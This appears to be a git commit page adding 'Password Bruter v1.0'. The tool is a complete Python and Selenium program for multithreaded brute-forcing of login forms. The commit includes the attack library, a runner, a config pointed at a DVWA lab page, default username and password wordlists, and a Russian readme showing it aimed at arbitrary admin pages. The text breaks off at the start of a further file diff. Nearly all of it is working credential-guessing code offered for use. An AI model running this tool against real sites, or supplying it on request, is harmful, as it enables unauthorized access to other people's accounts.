diff options
author | tgilmullin <TGilmullin@ptsecurity.ru> | 2014-05-22 15:54:13 +0400 |
---|---|---|
committer | tgilmullin <TGilmullin@ptsecurity.ru> | 2014-05-22 15:54:13 +0400 |
commit | 5f96a9ef96f8371fd939c9f7eb566e3597802f50 (patch) | |
tree | 797399654b952eb5f0d7b6beac6ca0240eff0d1b | |
parent | 30e04f89660d2fd994cb3f8e07456d71c24d40ce (diff) |
Password Bruter v.1.0. modules added
-rw-r--r-- | browser_drivers/IEDriverServer.exe | bin | 0 -> 2654720 bytes | |||
-rw-r--r-- | browser_drivers/chromedriver.exe | bin | 0 -> 2465280 bytes | |||
-rw-r--r-- | bruter_lib.py | 494 | ||||
-rw-r--r-- | config.py | 62 | ||||
-rw-r--r-- | dict/pwd.txt | 9 | ||||
-rw-r--r-- | dict/users.txt | 4 | ||||
-rw-r--r-- | pwd_brut.py | 82 | ||||
-rw-r--r-- | readme.txt | 145 | ||||
-rw-r--r-- | result.txt | 12 |
9 files changed, 808 insertions, 0 deletions
diff --git a/browser_drivers/IEDriverServer.exe b/browser_drivers/IEDriverServer.exe Binary files differnew file mode 100644 index 0000000..ed3d764 --- /dev/null +++ b/browser_drivers/IEDriverServer.exe diff --git a/browser_drivers/chromedriver.exe b/browser_drivers/chromedriver.exe Binary files differnew file mode 100644 index 0000000..773c3a3 --- /dev/null +++ b/browser_drivers/chromedriver.exe diff --git a/bruter_lib.py b/bruter_lib.py new file mode 100644 index 0000000..1acb674 --- /dev/null +++ b/bruter_lib.py @@ -0,0 +1,494 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- +# Author: Gilmullin T.M. + +# This file describes support utils for Bruter. + + +# Importing config file +import config + +# Importing Selenium WebDriver classes +from selenium import webdriver +from selenium.webdriver.support.ui import WebDriverWait + +# Other imports +import traceback +import os +import sys +from datetime import datetime +import time +import threading +import random +import argparse +import re +import functools + + +# Working Directory. +workDir = os.path.abspath(os.curdir) + +# List of threads. +threads = [] + +# List of browsers - one browser in every thread. +browsers = [] + + +def ParseArgs(): + """ + Function get and parse command line keys. + """ + args = [] + try: + parser = argparse.ArgumentParser() + parser.add_argument("-t", "--target", type=str, + help="Target URL for Bruter. For example: '--target=http://mysite.com/admin/'") + parser.add_argument("-b", "--browser", type=str, + help="Browser for Bruter (*firefox, *ie, *chrome). *firefox by default.") + parser.add_argument("-r", "--random", type=str, + help="If this key is True then Bruter uses random user and password in every iteration.") + parser.add_argument("-T", "--threads", type=int, help="Thread's number.") + parser.add_argument("-w", "--wait", type=int, help="Waiting for operation's finish (sec.).") + parser.add_argument("-p", "--period", type=int, + help="Rump up period shows time (sec.) in which all test suite threads will start.") + parser.add_argument("-L", "--logins", type=str, help="Path to user's list. Default: dict/users.txt") + parser.add_argument("-P", "--passwords", type=str, help="Path to password's list. Default: dict/pwd.txt") + parser.add_argument("-R", "--results", type=str, help="Path to result file. Default: result.txt") + parser.add_argument("-g", "--generator", type=str, + help="Generate a lot of random strings for Bruter. Example: '-g [100,8,1,1,1,0,0,0]'.\n" + + "This means:\n" + + "1 number - number of strings, 2 - string's length, 3 - use or not Numbers," + + "4 - use or not Latin Upper Case Chars, 5 - use or not Latin Lower Case Chars" + + "6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars," + "8 - use or not Special Simbols. Output file: dict/rnd_<date_time>.txt") + args = parser.parse_args() + if args.target != None: + config.target = args.target + if (args.browser == '*chrome') or (args.browser == '*ie'): + config.selBrowserString = args.browser + else: + config.selBrowserString = '*firefox' + if args.random != None: + if args.random == 'True': + config.randomCredentials = True + else: + config.randomCredentials = False + if args.threads != None: + config.brutThreads = args.threads + if args.wait != None: + config.timeout = args.wait + if args.period != None: + config.rumpUpPeriod = args.period + if args.logins != None: + if os.path.exists(args.logins): + config.usersFile = args.logins + else: + config.usersFile = 'dict/users.txt' + if args.passwords != None: + if os.path.exists(args.passwords): + config.passwordsFile = args.passwords + else: + config.passwordsFile = 'dict/pwd.txt' + if args.results != None: + if os.path.exists(args.results): + config.resultFile = args.results + else: + config.resultFile = 'result.txt' + if args.generator != None: + params = [] + try: + params = StringOfNumToNumsList(args.generator) + except: + pass + finally: + if len(params) >= 8: + config.randomGeneratorParameter = params + else: + print('%s - Generator using default parameters from config file: %s' % + (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), config.randomGeneratorParameter)) + print('%s - Parsing command line arguments, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + except BaseException: + print('%s - Parsing command line arguments, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + traceback.print_exc() + finally: + return args + + +def EstimateTime(numLogins=0, numPasswords=0, waitInSec=1, timeForStartingTreads=0): + """ + Function returns info about estimate time. + """ + try: + es = numLogins * numPasswords * waitInSec + timeForStartingTreads + eh = round(es / 3600) + info = 'Users: %d, Passwords: %d, Full Estimated Time: %d sec. (~%d hours).' %\ + (numLogins, numPasswords, es, eh) + except BaseException: + traceback.print_exc() + return 'Can\'t compute estimate time!' + return info + + +def DurationOperation(func): + """ + This is decorator for compute duration operation of functions. It works only with functions returning number >= 0. + """ + + def wrapper(*args, **kwargs): + startTime = datetime.now() + print('%s - Thread #%d, %s, starting ...' % (startTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func))) + status = func(*args, **kwargs) + stopTime = datetime.now() + if status == 0: + print('%s - Thread #%d, %s, status: oK' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func))) + else: + print('%s - Thread #%d, %s, status: error' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func))) + duration = stopTime - startTime + print('%s - Thread #%d, %s, duration operation: %s' % + (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func), str(duration))) + return status + + return wrapper + + +def StringOfNumToNumsList(string): + """ + Get some string with numbers and other simbols, for example:'[572,573,604,650]' or similar + and convert it to list of numbers as [572, 573, 604, 650]. + """ + numList = [] + try: + while len(string) != 0: + s = '' + i = 0 + flag = True + while flag and i < len(string): + if string[i] in '0123456789': + s = s + string[i] + i += 1 + else: + flag = False + if s != '': + numList.append(int(s)) + string = string[i + 1:] + except: + print('%s - Can\'t parse your string of numbers to list of numbers!' % + datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + traceback.print_exc() + return [] + return numList + + +def GetListFromFile(file): + """ + This function get strings from file and put into list. Text-file must have #13#10 + """ + listFromFile = [] + if os.path.exists(file): + try: + with open(file) as fh: + allStrings = fh.read() + listFromFile = allStrings.split('\n') + except BaseException: + print('%s - Can\'t get list from file: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file)) + traceback.print_exc() + return [] + return listFromFile + + +def SeparateListByPieces(fullList, piecesNum): + """ + Function get full list of objects and then divided into a number of parts. Last part may be bigger, than other. + Function return a list of part of full list. + """ + separate = [] + listLen = len(fullList) + if (listLen > 0) and (piecesNum > 1): + try: + objectsInPieces = listLen // piecesNum + for i in range(piecesNum): + piece = [fullList[i * objectsInPieces + k] for k in range(objectsInPieces)] + separate.append(piece) + separate[piecesNum - 1] += fullList[piecesNum * objectsInPieces:] + except BaseException: + print('%s - Can\'t separate list of objects!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + traceback.print_exc() + return [fullList] + else: + separate = [fullList] + return separate + + +@DurationOperation +def Reporting(instance=0, file='result.txt', creds=None, users=None, passwords=None, actualTime=0): + """ + This function print results to file. + """ + try: + if os.path.exists(file): + fileTo = open(file, 'a') + else: + fileTo = open(file, 'w') + fileTo.write('\n%s - Thread #%d, Bruter finished check for\n' % + (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance) + + 'users = [\'%s\', ..., \'%s\'], %d items,\n' % (users[0], users[-1], len(users)) + + 'passwords = [\'%s\', ..., \'%s\'], %d items.\n' % (passwords[0], passwords[-1], len(passwords)) + + 'Actual time worked: %s\n' % str(actualTime)) + if (creds != None) and (creds != {}): + fileTo.write('Suitable credentials: %s\n' % str(creds)) + else: + fileTo.write('Bruter can\'t find suitable credentials.\n') + print('%s - Thread #%d, Updating report file: \'%s\'' % + (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, file)) + fileTo.close() + except BaseException: + traceback.print_exc() + return 1 + return 0 + + +@DurationOperation +def OpenBrowser(instance=0, opTimeout=10, browserString='*firefox', ffProfile=None): + """ + Commands for opening new instance of WebDriver browser. + """ + try: + # Get new browser instance and put it into browser array. One browser for one thread. + if browserString == '*chrome': + chromeOptions = webdriver.ChromeOptions() + chromeOptions.add_argument('--start-maximized') + chromeOptions.add_argument('--log-path=' + workDir + '/browser_drivers/chromedriver.log') + os.chdir(workDir + '/browser_drivers') + browsers.append(webdriver.Chrome(executable_path=workDir + '/browser_drivers/chromedriver.exe', + chrome_options=chromeOptions)) + os.chdir(workDir) + elif browserString == '*ie': + browsers.append(webdriver.Ie(executable_path=workDir + '/browser_drivers/IEDriverServer.exe', + log_file=workDir + '/browser_drivers/iedriver.log')) + browsers[len(browsers) - 1].maximize_window() + else: + ffp = webdriver.FirefoxProfile(ffProfile) + browsers.append(webdriver.Firefox(firefox_profile=ffp, timeout=opTimeout)) + browsers[len(browsers) - 1].maximize_window() + except BaseException: + traceback.print_exc() + return 1 + return 0 + + +@DurationOperation +def GoingToTarget(instance=0, opTimeout=10, targetURL='', loginField="//input[@name='login']", + passwordField="//input[@name='password']", acceptButton="//input[@type='submit']"): + """ + This funcion going to target's URL with form-based auth. + """ + try: + page = browsers[instance] + page.get(targetURL) + WebDriverWait(page, opTimeout).until( + lambda el: el.find_element_by_xpath(loginField).is_displayed() and + el.find_element_by_xpath(passwordField).is_displayed() and + el.find_element_by_xpath(acceptButton).is_displayed(), 'Timeout while opening auth page.') + except BaseException: + traceback.print_exc() + return 1 + return 0 + + +@DurationOperation +def CloseBrowser(instance=0): + """ + Try to close WebDriver browser. + """ + if len(browsers) > 0: + if browsers[instance] != None: + try: + browsers[instance].close() + browsers[instance] = None + except BaseException: + traceback.print_exc() + return 1 + return 0 + + +def Cleaner(): + """ + Finalization step for Bruter. + """ + status = 0 + try: + # Stopping compute threads and closing browsers. + for t in threads: + if t != None: + t._stop() + t = None + for b in range(len(browsers)): + status += CloseBrowser(b) + if status == 0: + print('%s - Bruter finalize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + except BaseException: + print('%s - Bruter finalize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + traceback.print_exc() + return 1 + return status + + +def GenerateRandomString(length=8, useNum=True, useEngUp=True, useEngLo=True, useRuUp=False, useRuLo=False, + useSpecial=False): + """ + Function return random text-string definite length, that will be use as login or password. + 1 number - number of strings, 2 - string's length, 3 - use or not Numbers, + 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars, + 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols. + """ + # There are possible simbols in alphabet. + alphabet = { + 'dicNum': '1234567890', + 'dicEngCharUpperCase': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', + 'dicEngCharLowerCase': 'abcdefghijklmnopqrstuvwxyz', + 'dicRuCharUpperCase': 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ', + 'dicRuCharLowerCase': 'абвгдеёжзийклмнопрстуфхцчшщьыъэюя', + 'dicSpecial': '!@#$%^&*()-_+=.,<>[]{}\|/`~"\':;'} + + # Preparing user's alphabet. + usersAlphabet = '' + if useNum: + usersAlphabet += alphabet['dicNum'] + if useEngUp: + usersAlphabet += alphabet['dicEngCharUpperCase'] + if useEngLo: + usersAlphabet += alphabet['dicEngCharLowerCase'] + if useRuUp: + usersAlphabet += alphabet['dicRuCharUpperCase'] + if useRuLo: + usersAlphabet += alphabet['dicRuCharLowerCase'] + if useSpecial: + usersAlphabet += alphabet['dicSpecial'] + usersAlpLen = len(usersAlphabet) + + # Generating random string with user prefers. + textString = '' + try: + if (length > 0) and (usersAlphabet != ''): + for i in range(length): + textString += usersAlphabet[random.randint(0, usersAlpLen - 1)] + except BaseException: + textString = '' + print('%s - Can\'t generate random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + traceback.print_exc() + finally: + return textString + + +def GenerateListOfRandomStrings(numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True, + useRuUp=False, useRuLo=False, useSpecial=False): + """ + Function return list of random text-string definite length, that will be use as login or password. + 1 number - number of strings, 2 - string's length, 3 - use or not Numbers, + 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars, + 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols. + """ + rndList = [] + try: + if numbers > 0: + for i in range(numbers): + rndList.append(GenerateRandomString(length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial)) + except BaseException: + rndList = [] + print('%s - Can\'t generate list of random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + traceback.print_exc() + finally: + return rndList + + +def GenerateFileWithRandomStrings(par=None): + """ + Function create file with random text-string, that will be use as login or password. + Example: Par = [100, 5, 1, 1, 1, 0, 0, 0] + 1 number - number of strings, 2 - string's length, 3 - use or not Numbers, + 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars, + 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols. + """ + file = 'dict/rnd_' + datetime.now().strftime('%d_%m_%Y_%H_%M_%S') + '.txt' + try: + if not (os.path.exists('dict')): + os.mkdir('dict') + fileTo = open(file, 'a') + if len(par) >= 8: + for i in range(2, 8): + if par[i] == 1: + par[i] = True + else: + par[i] = False + rndList = GenerateListOfRandomStrings(par[0], par[1], par[2], par[3], par[4], par[5], par[6], par[7]) + else: + rndList = GenerateListOfRandomStrings(numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True, + useRuUp=False, useRuLo=False, useSpecial=False) + if len(rndList) > 0: + for string in rndList: + fileTo.write(string + '\n') + print('%s - Generate file with random strings: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file)) + fileTo.close() + except BaseException: + print('%s - Can\'t generate file with random strings!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + traceback.print_exc() + return 1 + return 0 + + +@DurationOperation +def Bruter(instance=0, opTimeout=3, loginField="", passwordField="", acceptButton="", successAuth="", failAuth="", + users=None, passwords=None, randomization=False, result='result.txt'): + """ + This function loops through user IDs and passwords and finds suitable credentials. + """ + # Dictionary {user:pass} for suitable user and password. + suitableCredentials = {} + startTime = datetime.now() + try: + page = browsers[instance] + modUsers = users[:] + modPasswords = passwords[:] + if randomization: + print('%s - Thread #%d, shuffling users and passwords ...' % + (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance)) + random.shuffle(modUsers) + random.shuffle(modPasswords) + print('%s - Thread #%d, trying to use credentials ...' % + (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance)) + for user in modUsers: + for pwd in modPasswords: + try: + page.find_element_by_xpath(loginField).clear() + page.find_element_by_xpath(loginField).send_keys(user) + page.find_element_by_xpath(passwordField).clear() + page.find_element_by_xpath(passwordField).send_keys(pwd) + page.find_element_by_xpath(acceptButton).click() + WebDriverWait(page, opTimeout).until( + lambda el: el.find_element_by_xpath(successAuth).is_displayed(), '') + suitableCredentials = {user: pwd} + print('%s - Thread #%d, found valid credentials: %s' % + (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, str({user: pwd}))) + break + except: + try: + WebDriverWait(page, opTimeout).until( + lambda el: el.find_element_by_xpath(failAuth).is_displayed(), + '%s - Thread #%d, Can\'t find auth fields! Possible connection problem.' % + (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance)) + except: + pass + if suitableCredentials != {}: + break + threads[instance] = None + Reporting(instance, result, suitableCredentials, users, passwords, datetime.now() - startTime) + except: + traceback.print_exc() + return 1 + return 0 + + +# This is only library. +if __name__ == "__main__": + pass diff --git a/config.py b/config.py new file mode 100644 index 0000000..c5f0467 --- /dev/null +++ b/config.py @@ -0,0 +1,62 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- +# Author: Gilmullin T.M. + +# This is configuration file for Password Bruter with default parameters. Please, do not change variable's names. + + +# ---------- Form-based Auth page parameters --------------------------------------------------------------------------- +# Start URL for Password Bruter. +target = 'http://10.111.113.83/dvwa/vulnerabilities/brute/' + +# xPath for Login field. +xPathLogin = "//input[@name='username']" + +# xPath for Password field. +xPathPassword = "//input[@name='password']" + +# xPath for oK button. +xPathAcceptButton = "//input[@name='Login']" + +# xPath for Success auth. +xPathSuccessAuth = "//img[@src='http://10.111.113.83/dvwa/hackable/users/admin.jpg']" + +# xPath for Fail auth. +xPathFailAuth = "//pre[contains(text(), 'Username and/or password incorrect.']" + +# Selenium Browser string. This param shows Selenium WebDriver which browser to run: *firefox, *chrome, *ie +selBrowserString = '*firefox' + +# Mozilla profile. This param used only for ff. This is relative path to dir with mozilla profile config. +selFFProfile = 'ff_profile' + + +# ---------- Bruter parameters ----------------------------------------------------------------------------------------- +# Path to user's list. +usersFile = 'dict/users.txt' + +# Path to password's list. +passwordsFile = 'dict/pwd.txt' + +# Path to result file. +resultFile = 'result.txt' + +# How many threads do you need? +brutThreads = 1 + +# Rump up period when all browsers will open and all threads will in progress. +rumpUpPeriod = brutThreads * 5 + +# Operation's timeout in seconds. +timeout = 1 + +# If this key is True then Bruter uses random item from user's list and password's list in every iteration. +randomCredentials = False + + +# ---------- Random Generator parameters ------------------------------------------------------------------------------- +# Random Generator parameter. 1 number - number of strings, 2 - string's length, 3 - use or not Numbers, +# 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars, +# 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols. +# Output file: dict/rnd_<date_time>.txt +randomGeneratorParameter = [100, 8, 1, 1, 1, 0, 0, 0] diff --git a/dict/pwd.txt b/dict/pwd.txt new file mode 100644 index 0000000..aa1d768 --- /dev/null +++ b/dict/pwd.txt @@ -0,0 +1,9 @@ + +admin +root +user +guest +password +123 +1234567890 +qwerty
\ No newline at end of file diff --git a/dict/users.txt b/dict/users.txt new file mode 100644 index 0000000..cdd7dc2 --- /dev/null +++ b/dict/users.txt @@ -0,0 +1,4 @@ +admin +root +user +guest diff --git a/pwd_brut.py b/pwd_brut.py new file mode 100644 index 0000000..bfdfe04 --- /dev/null +++ b/pwd_brut.py @@ -0,0 +1,82 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- +# Author: Gilmullin T.M. + +# This is runner for multi-threads password's bruter. + + +# Importing config file's params to common namespace. +import config + +# Importing all utils to common namespace. +from bruter_lib import * + + +def Main(): + """ + Multithread runner. + """ + try: + # Getting users and separate password's list. + print('%s - Getting list of users ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + usersList = GetListFromFile(config.usersFile) + print('%s - Getting list of passwords ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + passwordsList = [GetListFromFile(config.passwordsFile)] + if len(passwordsList[0]) / config.brutThreads <= 1: + config.brutThreads = 1 + if config.brutThreads > 1: + print('%s - Separate passwords list by threads ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + passwordsList = SeparateListByPieces(passwordsList[0], config.brutThreads) + print('%s - Bruter initialize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + + # Open new browser's instance, going to form-based auth page and start brute. + for i in range(config.brutThreads): + OpenBrowser(i, config.timeout, config.selBrowserString, config.selFFProfile) + GoingToTarget(i, config.timeout, config.target, + config.xPathLogin, config.xPathPassword, config.xPathAcceptButton) + + threads.append(threading.Thread( + target=Bruter, + args=(i, config.timeout, config.xPathLogin, config.xPathPassword, config.xPathAcceptButton, + config.xPathSuccessAuth, config.xPathFailAuth, usersList, passwordsList[i], + config.randomCredentials, config.resultFile))) + + et = EstimateTime(len(usersList), len(passwordsList[i]), config.timeout, + round(config.rumpUpPeriod / config.brutThreads)) + print('%s - Thread #%d, %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), i, et)) + threads[i].start() + + if (config.brutThreads > 1) and (config.rumpUpPeriod > 0) and (i != config.brutThreads - 1): + time.sleep(config.rumpUpPeriod / config.brutThreads) + + # Waiting until all threads done. + threadsAreInProgress = True + while threadsAreInProgress: + for t in threads: + if t != None: + threadsAreInProgress = True + break + else: + threadsAreInProgress = False + + except BaseException: + print('%s - Bruter initialize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + traceback.print_exc() + + finally: + status = Cleaner() + sys.exit(status) + + +# Run this script if you want to running multi-instance bruter. +if __name__ == "__main__": + arg = ParseArgs() + if arg.generator != None: + print('%s - Trying to generate a lot of random strings ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + if GenerateFileWithRandomStrings(config.randomGeneratorParameter) == 0: + print('%s - Generator, status: oK.' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + sys.exit(0) + else: + print('%s - Generator, status: error.' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) + sys.exit(1) + Main()
\ No newline at end of file diff --git a/readme.txt b/readme.txt new file mode 100644 index 0000000..a370088 --- /dev/null +++ b/readme.txt @@ -0,0 +1,145 @@ +Password Bruter - программа, написанная на Python 3.2., для многопоточного подбора учетных данных вида {логин/пароль} +к страничкам с form-based авторизацией. + +Предварительные настройки: +1. Установленный Python 3.2. +2. Установленный и настроенный пакет Selenium WebDriver для Python 3.2.: + http://forworktests.blogspot.com/p/selenium-web-driver.html + +Особенности: +1. Универсальность применения. Bruter подходит для большинства html-форм авторизации, так как поля логина, пароля, + кнопки подтверждения входа, условия успешной и неуспешной авторизаций задаются в файле конфигурации через + xPath-адресацию: http://forworktests.blogspot.com/p/xpath-web.html +2. Многопоточный перебор. Учетные данные перебираются в отдельных потоках. +3. Имитация действий пользователя. Атака фактически осуществляется в браузерах, запущенных Selenium WebDriver. +4. Предварительное разбиение множества паролей по отдельным потокам. +5. Возможность случайного перебора вместо последовательного, для повышения вероятности нахождения + валидных учетных данных. +6. Генератор для создания файла со списком псевдослучайных строк, состоящих из выбранных символов различных алфавитов. +7. Настройка большинства параметров запуска программы как через командную строку, так и через файл конфигурации. +8. Предварительная оценка времени работы, ведение подробного лога, формирование отчета о фактическом времени работы, + результатах перебора в отдельных потоках, и прочее. + +Password Bruter можно запустить без параметров, в этом случае он начнет подбирать учетные данные согласно +настройкам по умолчанию, заданным в файле конфигурации config.py. Все параметры содержат комментарии. +Рекомендуется не изменять имена переменных-параметров. + +Параметры для консольного запуска программы представлены ключами: +Ключ Слово Описание +-h --help Показать подсказку по опциям. +-t --target Целевой URL для программы, указывающий на страничку с form-based авторизацией. + Примеры: --target=http://mysite.com/admin/ t http://site.ru/ +-b --browser Строка браузера (*firefox, *chrome, *ie), показывающая, в каком браузере запустить перебор. + По умолчанию, запускается firefox. + Примеры: --browser=*chrome -b *ie +-r --random Если ключ равен True, тогда программа использует случайные учетные данные при переборе. + Примеры: --random=True -r False +-T --threads Число потоков, в которых будет запущен перебор. + Примеры: --threads=5 -T 10 +-w --wait Ожидание успешного завершения операций в браузере, сек. + Примеры: --wait=2 -w 1 +-p --period Период, в течении которого следует запустить все потоки. Ориентировочно +5 сек. на поток. + Примеры: --period=10 -p 5 +-L --logins Путь к текстовому файлу со списком логинов. По умолчанию, dict/users.txt. + Примеры: --logins=my_logins.txt -L dict/123/my_logins.txt +-P --passwords Путь к текстовому файлу со списком паролей. По умолчанию, dict/pwd.txt. + Примеры: --passwords=my_pass.txt -P dict/123/my_passwords.txt +-R --results Путь к текстовому файлу для вывода результатов. По умолчанию, result.txt. + Примеры: --results=res.log -R results/res.log +-g --generator Генератор псевдослучайных строк, выходной файл: dict/rnd_<date_time>.txt. + На вход подаётся список чисел [1,2,3,4,5,6,7,8], в котором: 1 число - количество случайных строк, + 2 число - длина генерируемых строк, 3 цифра - {0, 1} - использовать или нет цифры при генерации, + 4 цифра - {0, 1} - использовать (0) или нет (1) большие символы латинского алфавита, + 5 цифра - {0, 1} - использовать (0) или нет (1) маленькие символы латинского алфавита, + 6 цифра - {0, 1} - использовать (0) или нет (1) большие символы русского алфавита, + 7 цифра - {0, 1} - использовать (0) или нет (1) маленькие символы русского алфавита, + 8 цифра - {0, 1} - использовать (0) или нет (1) специальные символы: !@#$%^&*()-_+=.,<>[]{}\|/`~"\':; + Пример: '--generator=[100,8,1,1,1,0,0,0]' - сгенерировать 100 случайных строк, длины 8, состоящих + только из цифр, больших и маленьких символов латинского алфавита. + +Находясь в корне проекта для запуска программы можно использовать команду: +python pwd_brut.py [options] + +[options] - необязательные параметры командной строки, так как все настройки могут быть заданы в config.py. + +Примеры: + python pwd_brut.py --target=http://mysite.com/admin/ # Запуск брутфорса на целевую страничку. Браузер Mozilla по умолчанию. + python pwd_brut.py -L my_logins.txt -P my_passs.txt -R res.log # Запуск программы с измененными словарями и файлом для результатов. + python pwd_brut.py -w 2 -r True -T 10 # Установить время ожидания операций в 2 сек., выбирать случайные учетные данные из списков, запустить 10 потоков. + python pwd_brut.py -g [10,5,1,0,0,0,0,0] # Сгенерировать 10 случайных строк, длины 5, состоящих только из цифр. Результат будет выведен в файл: dict/rnd_<текущие_дата_время>.txt + +Настройка программы через файл конфигурации config.py +Параметры для цели: +target = 'http://mysite.com/admin/' # Целевая страничка с form-based авторизацией. +xPathLogin = "//input[@name='login']" # xPath для поля логина. +xPathPassword = "//input[@name='password']" # xPath для поля пароля. +xPathAcceptButton = "//input[@type='submit']" # xPath для кнопки подтверждения входа. +xPathSuccessAuth = "//a[@id='loginLink']" # xPath для условия успешной авторизации. +xPathFailAuth = "//div[@id='error']" # xPath для условия провала авторизации. +selBrowserString = '*firefox' # Строка браузера показывает Selenium WebDriver какой браузер нужно запустить: *firefox, *chrome, *ie. +selFFProfile = 'ff_profile' # Профиль Mozilla. Этот параметр используется только ff. Это относительный путь до директории с профилем. +Параметры для брутфорсера: +usersFile = 'dict/users.txt' # Путь к файлу со списком логинов. +passwordsFile = 'dict/pwd.txt' # Путь к файлу со списком паролей. +resultFile = 'result.txt' # Путь к файлу для вывода результатов. +brutThreads = 1 # Число потоков для запуска брутфорса. +rumpUpPeriod = brutThreads * 5 # Период в секундах, показывающий когда все потоки будут запущены. +timeout = 1 # Таймаут операций в сек. Требует особого подбора. Если поставить слишком маленький, есть шанс пропустить успешную авторизацию. +randomCredentials = False # Если ключ равен True, тогда Bruter использует случайные учетные данные, а не по порядку, как указано в файлах с логинами и паролями. +Параметры генератора псевдослучайных строк: +randomGeneratorParameter = [100, 8, 1, 1, 1, 0, 0, 0] # В конфигурации можно указывать список с пробелами. В командной строке - числа могут разделяться только знаками препинания. + +Структура проекта +pwd_brut - корень проекта. + /browser_drivers - каталог с Windows-драйверами для chrome и ie. + /ff_profile - каталог для индивидуального профиля мозиллы (пустой по умолчанию). + /dict - каталог по умолчанию для словарей со списками учетных данных. + pwd.txt - текстовый файл по умолчанию для списка паролей. + users.txt - текстовый файл по умолчанию для списка логинов. + pwd_brut.py - основной модуль для многопоточного запуска брутфорса. + bruter_lib.py - библиотека функций брутфорсера. + config.py - файл с переменными для конфигурации программы. + readme.txt - актуальная информация по проекту. + result.txt - текстовый файл по умолчанию для вывода результатов брутфорса. + +Содержимое модуля pwd_brut.py +Main() # Инициализация параметров, создание и сопровождение потоков, открытие браузеров, запуск брутфорса в потоках. + +Содержимое модуля bruter_lib.py +Основные глобальные переменные: +workDir = os.path.abspath(os.curdir) # Рабочая директория проекта, относительно которой строятся другие пути. +threads = [] # Список потоков. +browsers = [] # Список запущенных браузеров. Каждый браузер в отдельном потоке. +Основные функции: +ParseArgs() # Парсер аргументов командной строки. +EstimateTime(numLogins, numPasswords, waitInSec, rumpUp, treadsNum) # Функция расчета ожидаемого времени работы. +DurationOperation(func) # Декоратор для оценки времени работы функций. +StringOfNumToNumsList(string) # Конвертер строки чисел с разделителями в список чисел. +GetListFromfile(file) # Получение списка строк из файла. +SeparateListByPieces(fullList, piecesNum) # Возвращает список списков, полученных разбиением входного списка на указанное число "кусков". +Reporting(instance, file, creds, users, passwords, actualTime) # Репортер для брутфорсера. +OpenBrowser(instance, opTimeout, browserString, ffProfile) # Открытие и подготовка браузера к работе. +GoingToTarget(instance, opTimeout, targetURL, loginField, passwordField, acceptButton) # Переход к целевой страничке. +CloseBrowser(instance=0) # Завершение работы браузера. +Cleaner() # Функция для корректного завершения всех операций и потоков программы. +GenerateRandomString(length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial) # Генерация псевдослучайной строки указанной длины, состоящей из символов указанных алфавитов. +GenerateListOfRandomStrings(numbers, length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial) # Генерация листа с указанным числом псевдослучайных строк. +GenerateFileWithRandomStrings(par) # Генерация файла со списком псевдослучайных строк. +Bruter(instance, opTimeout, loginField, passwordField, acceptButton, successAuth, failAuth, users=None, passwords, randomization, result) # Основная функция для перебора учётных данных. + +В ходе работы, программа выводит в консоль подробные логи о выполняемых действиях и расчетное время операций подбора. +Результаты программы выводятся по умолчанию в файл result.txt в следующем виде. + +Пример сообщения о найденных учётных данных: +18:15:18 24.09.2012 - Thread #0, Bruter finished check for +users = ['admin', ..., 'guest'], 4 items, +passwords = ['', ..., 'qwerty'], 9 items. +Actual time worked: 0:00:28.369000 +Suitable credentials: {'admin': ''} + +Пример сообщения о невозможности подобрать учетные данные: +18:18:25 24.09.2012 - Thread #0, Bruter finished check for +users = ['admin', ..., 'guest'], 4 items, +passwords = ['admin', ..., 'qwerty'], 8 items. +Actual time worked: 0:01:28.557000 +Bruter can't find suitable credentials. diff --git a/result.txt 